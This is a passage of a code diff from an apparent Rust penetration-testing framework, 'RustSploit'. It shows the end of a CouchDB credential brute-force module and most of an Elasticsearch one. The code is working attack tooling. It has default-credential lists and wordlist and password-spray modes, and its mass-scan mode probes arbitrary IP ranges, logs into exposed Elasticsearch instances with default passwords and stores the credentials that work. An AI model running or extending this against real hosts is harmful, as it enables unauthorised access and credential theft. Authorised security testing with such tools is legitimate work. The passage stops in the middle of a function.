|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"couchdb_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "couchdb",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/couchdb_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", ip, port);
|
||||
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "CouchDB Port", DEFAULT_COUCHDB_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "couchdb_brute_results.txt")
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}", connect_addr).cyan()
|
||||
);
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", t, p);
|
||||
match try_couchdb_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "couchdb",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/couchdb_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored CouchDB responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "couchdb_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# CouchDB Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt CouchDB login via session cookie authentication and Basic Auth fallback.
|
||||
///
|
||||
/// Primary method: POST to `/_session` with JSON `{"name":"user","password":"pass"}`.
|
||||
/// A 200 response containing `"ok":true` indicates success.
|
||||
///
|
||||
/// Fallback: GET `/_all_dbs` with HTTP Basic Auth to verify access.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — authentication succeeded
|
||||
/// - `Ok(false)` — credentials rejected (401)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_couchdb_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.cookie_store(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Primary: cookie-based session authentication
|
||||
let session_url = format!("{}/_session", base_url);
|
||||
let payload = format!(
|
||||
"{{\"name\":\"{}\",\"password\":\"{}\"}}",
|
||||
username.replace('\\', "\\\\").replace('"', "\\\""),
|
||||
password.replace('\\', "\\\\").replace('"', "\\\""),
|
||||
);
|
||||
|
||||
let session_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.post(&session_url)
|
||||
.header("Content-Type", "application/json")
|
||||
.body(payload)
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Connection refused") || err_str.contains("connect") {
|
||||
return Err(anyhow!("Connection refused: {}", err_str));
|
||||
}
|
||||
return Err(anyhow!("Request error: {}", err_str));
|
||||
}
|
||||
Err(_) => return Err(anyhow!("Connection timeout")),
|
||||
};
|
||||
|
||||
let status = session_resp.status().as_u16();
|
||||
|
||||
match status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, session_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading response")),
|
||||
};
|
||||
// CouchDB returns {"ok":true, "name":"admin", "roles":["_admin"]} on success
|
||||
if body.contains("\"ok\":true") || body.contains("\"ok\": true") {
|
||||
return Ok(true);
|
||||
}
|
||||
// Got 200 but no ok:true — fall through to Basic Auth check
|
||||
}
|
||||
401 => return Ok(false),
|
||||
_ => {
|
||||
// Non-standard response — fall through to Basic Auth check
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: HTTP Basic Auth against _all_dbs
|
||||
let dbs_url = format!("{}/_all_dbs", base_url);
|
||||
let dbs_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client
|
||||
.get(&dbs_url)
|
||||
.basic_auth(username, Some(password))
|
||||
.send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => return Err(anyhow!("Basic auth request error: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout on Basic auth request")),
|
||||
};
|
||||
|
||||
let dbs_status = dbs_resp.status().as_u16();
|
||||
|
||||
match dbs_status {
|
||||
200 => {
|
||||
let body = match tokio::time::timeout(timeout_duration, dbs_resp.text()).await {
|
||||
Ok(Ok(b)) => b,
|
||||
Ok(Err(e)) => return Err(anyhow!("Failed to read _all_dbs response: {}", e)),
|
||||
Err(_) => return Err(anyhow!("Timeout reading _all_dbs response")),
|
||||
};
|
||||
// _all_dbs returns a JSON array of database names
|
||||
if body.starts_with('[') {
|
||||
Ok(true)
|
||||
} else {
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
401 => Ok(false),
|
||||
403 => Ok(false),
|
||||
_ => Err(anyhow!("Unexpected HTTP status: {}", dbs_status)),
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,580 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::ClientBuilder;
|
||||
use std::{io::Write, net::IpAddr, sync::Arc, time::Duration};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, parse_combo_mode, load_credential_file,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file, cfg_prompt_port,
|
||||
cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_ES_PORT: u16 = 9200;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("elastic", "elastic"),
|
||||
("elastic", "changeme"),
|
||||
("admin", "admin"),
|
||||
("elastic", "password"),
|
||||
("kibana", "kibana"),
|
||||
("elastic", ""),
|
||||
("admin", "password"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("logstash_system", "logstash_system"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Elasticsearch Brute Force".to_string(),
|
||||
description: "Brute-force Elasticsearch HTTP Basic authentication. Tests credentials \
|
||||
against the cluster root endpoint and security API. Supports default credential \
|
||||
testing, combo mode, concurrent connections, and subnet/mass scanning."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Elasticsearch Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ HTTP Basic Auth Credential Testing (port 9200) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} — Mass Scan Mode", target).yellow()
|
||||
);
|
||||
// Build client ONCE and share — avoids OOM from per-host client creation
|
||||
let mass_client = Arc::new(
|
||||
reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(std::time::Duration::from_secs(5))
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?,
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Elasticsearch",
|
||||
default_port: 9200,
|
||||
state_file: "elasticsearch_hose_state.log",
|
||||
default_output: "elasticsearch_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| {
|
||||
let client = mass_client.clone();
|
||||
async move {
|
||||
let client = &*client;
|
||||
|
||||
// Check if port responds with Elasticsearch JSON
|
||||
let url = format!("http://{}:{}/", ip, port);
|
||||
let resp = client.get(&url).send().await.ok()?;
|
||||
let body = resp.text().await.ok()?;
|
||||
if !body.contains("cluster_name") {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Port is open and running Elasticsearch — try default creds
|
||||
let creds = [
|
||||
("elastic", "elastic"),
|
||||
("elastic", "changeme"),
|
||||
("admin", "admin"),
|
||||
("elastic", "password"),
|
||||
("elastic", ""),
|
||||
];
|
||||
for (user, pass) in creds {
|
||||
let auth_url = format!("http://{}:{}/_security/_authenticate", ip, port);
|
||||
let req = client.get(&auth_url).basic_auth(user, Some(pass));
|
||||
if let Ok(r) = req.send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"elasticsearch",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/elasticsearch_credcheck",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:{}:{}\n",
|
||||
ts, ip, port, user, pass
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// If none of the creds worked but ES responded, it might be open (no auth)
|
||||
let check_url = format!("http://{}:{}/", ip, port);
|
||||
if let Ok(r) = client.get(&check_url).send().await {
|
||||
if r.status().as_u16() == 200 {
|
||||
if let Ok(b) = r.text().await {
|
||||
if b.contains("cluster_name") {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{} Elasticsearch open (no auth required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() {
|
||||
return Err(anyhow!("Username wordlist is empty"));
|
||||
}
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password wordlist is empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"elasticsearch_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
let timeout_secs: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "elasticsearch",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/elasticsearch_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", ip, port);
|
||||
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "Elasticsearch Port", DEFAULT_ES_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file =
|
||||
if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least one wordlist or default credentials must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "10").await?;
|
||||
input.parse::<u64>().unwrap_or(10).max(1).min(300)
|
||||
};
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output file",
|
||||
"elasticsearch_brute_results.txt",
|
||||
)
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let normalized = normalize_target(target)?;
|
||||
let connect_addr = format!("{}:{}", normalized, port);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!("[*] Starting brute-force on {}", connect_addr).cyan()
|
||||
);
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} usernames", usernames.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Added {} default credentials",
|
||||
DEFAULT_CREDENTIALS.len()
|
||||
)
|
||||
.green()
|
||||
);
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let base_url = format!("http://{}:{}", t, p);
|
||||
match try_es_login(&base_url, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: normalized,
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "elasticsearch",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/elasticsearch_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Elasticsearch responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "elasticsearch_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Elasticsearch Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt Elasticsearch login via HTTP Basic Auth.
|
||||
///
|
||||
/// Checks the `/_security/_authenticate` endpoint first (Elasticsearch security API).
|
||||
/// Falls back to the cluster root endpoint `/` and looks for `cluster_name` in the
|
||||
/// JSON response to confirm authenticated access.
|
||||
///
|
||||
/// Returns:
|
||||
/// - `Ok(true)` — authentication succeeded
|
||||
/// - `Ok(false)` — credentials rejected (401)
|
||||
/// - `Err(_)` — connection/timeout/protocol error
|
||||
async fn try_es_login(
|
||||
base_url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let client = ClientBuilder::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true)
|
||||
.timeout(timeout_duration)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
|
||||
|
||||
// Try the security authenticate endpoint first
|
||||
let auth_url = format!("{}/_security/_authenticate", base_url);
|
||||
let auth_resp = match tokio::time::timeout(
|
||||
timeout_duration,
|
||||
client.get(&auth_url).basic_auth(username, Some(password)).send(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(resp)) => resp,
|
||||
Ok(Err(e)) => {
|
